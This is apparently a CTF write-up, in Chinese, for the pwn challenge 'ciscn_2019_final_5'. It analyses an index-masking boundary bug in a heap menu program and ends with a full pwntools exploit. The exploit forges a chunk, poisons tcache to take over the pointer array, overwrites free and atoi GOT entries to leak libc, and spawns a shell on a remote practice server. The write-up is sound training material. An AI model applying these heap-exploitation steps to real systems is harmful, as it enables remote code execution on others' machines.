ciscn_2019_final_5(临界条件错误)
检查保护

got表可写,没有PIE,这题还是经典堆菜单,图就不放了直接看静态分析
IDA分析
add()

add里可以看到有一个存放chunk指针的数组,但是他并不是直接把chunk的malloc地址存储进去,而是将idx和chunk地址的或值存进去


看一下我创建了一个idx为9的chunk,malloc地址是0x1560010但是存储的是0x1560019
free()

free的时候可以看到函数sub_400ACE 先去进行ptr & 0xf取出索引,再和外部输入的 idx 比较,如果一样,就去删除这个地方的 chunk,free地址为:qword_6020e0[i] & 0xfffffffffffffff0 计算得到,比如我们上面创建的idx = 9的chunk,我们free的时候输入idx = 9,那么遍历数组计算ptr & 0xf = 9的位置,再free qword_6020e0[i] & 0xfffffffffffffff0 = 0x1560010的位置进行,这样看上去似乎没有什么问题,但是我们的idx是可以 = 16的也就是0x10,那么0x1560019应该变成0x1560020,那么我们要删除的时候应该输入的是0,并且free的位置不是原本的chunk的malloc地址0x1560010了,而是变成了0x1560020了,那么如果我们把第一个chunk的size设置为0x10,那么我们就可以伪造一个chunk的pre_size和size去free掉了,去构造堆重叠
构造堆风水
1 2
| add(16,0x20,p64(0)+p64(0x71)) add(1,0xb0,'aaaa')
|
先创建两个chunk,在第一个chunk里去伪造presize和size ,这里注意第二个chunk的大小不能小于0xb0,为什么呢,我们往下看

chunk的size被存放在0x602180的位置,我们后续需要能够修改此处的值来保证我们能edit的chunk的大小
接下来进行free

我们看到tcache bin中存放了0x70和0xc0的bin,我们去申请回0x70的chunk就可以修改下面bin的fd指针去指向0x6020e0,进而在申请回来去修改指针数组的内容,free_got=0x602018所以我们再去edit(8)就相当于去修改free的got表,修改为puts再去泄露libc
这里的puts_got=0x602020所以我们存放0x602020+1 那么去free(1)的时候就泄露了puts_got,atoi_got = 0x602078也是同理-2去让其索引为6,改其got为system再输入/bin/sh\x00就拿shell了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| add(2,0x60,p64(0)*3+p64(0xb1)+p64(chunk_list))
add(3,0xb0,'aaaa') add(4,0xb0,p64(atoi_got-2)+p64(puts_got+1)+p64(free_got)+p64(0)*17+p32(0x10)*4)
edit(8,p64(elf.plt['puts'])*2)
free(1) puts_got = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base = puts_got - libc.sym['puts'] system = libc_base + libc.sym['system'] edit(6, p64(system)*2) io.recvuntil("your choice: ") io.sendline('/bin/sh\x00')
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import *
context.log_level = "debug" context.arch="amd64" io = remote("node4.buuoj.cn",28321)
elf = ELF('./ciscn_final_5') libc = ELF('./libc-2.27.so') def add(index, size, content): io.recvuntil("your choice: ") io.sendline('1') io.recvuntil("index: ") io.sendline(str(index)) io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("content: ") io.send(content)
def free(index): io.recvuntil("your choice: ") io.sendline('2') io.recvuntil("index: ") io.sendline(str(index))
def edit(index, content): io.recvuntil("your choice: ") io.sendline('3') io.recvuntil("index: ") io.send(str(index)) io.recvuntil("content: ") io.send(content)
chunk_list=0x6020e0 atoi_got = 0x602078 puts_got = elf.got['puts'] free_got = elf.got['free'] add(16,0x20,p64(0)+p64(0x71)) add(1,0xb0,'aaaa')
free(0) free(1)
add(2,0x60,p64(0)*3+p64(0xb1)+p64(chunk_list))
add(3,0xb0,'aaaa') add(4,0xb0,p64(atoi_got-2)+p64(puts_got+1)+p64(free_got)+p64(0)*17+p32(0x10)*4)
edit(8,p64(elf.plt['puts'])*2) free(1) puts_got = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base = puts_got - libc.sym['puts'] system = libc_base + libc.sym['system'] edit(6, p64(system)*2) io.recvuntil("your choice: ") io.sendline('/bin/sh\x00')
io.interactive()
|
